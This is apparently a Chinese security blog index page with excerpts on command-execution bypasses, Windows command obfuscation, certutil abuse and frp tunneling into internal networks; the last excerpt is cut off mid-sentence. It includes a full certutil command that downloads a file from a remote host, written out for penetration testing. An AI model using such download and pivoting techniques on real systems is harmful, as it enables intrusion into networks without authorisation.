你和萤火虫有两个共同点，在我的眼里都会发光，同时，都已经很多年没见了

主要介绍了linux的命令执行绕过、文件读取的一些方法

windows命令混淆和绕过

Invoke-CradleCrafter是一个基于windows的命令混淆工具

文章目录简介try it下载编码解码base64十六进制校验简介Certutil 是windows用来证书安装服务的工具，可用于下载、转储和显示证书颁发机构（CA），配置信息，证书服务， CA 组件的备份和还原以及验证证书、密钥对和证书链等。既然它有下载、编码、校验等功能，被用到渗透中也就合情合理了。下面介绍介绍它的功能try it下载下载命令：certutil -urlcache -split -f http://192.168.31.222:51212/temp.txt temp.txt

文章目录使用场景下载地址try it使用场景当有一台或多台主机在内网，它们只有私网IP，这时你已经掌握了它们中的一台带有公网IP的服务器，且想直接使用ssh命令行、远程桌面等方法控制只有私网IP的主机时，可以使用frp。frp 是一个专注于内网穿透的高性能的反向代理应用，支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。frp采用go语言开发，支持跨平台，仅需下载对应平台的二进制文件即可执行，无额外依赖。frp支持 TC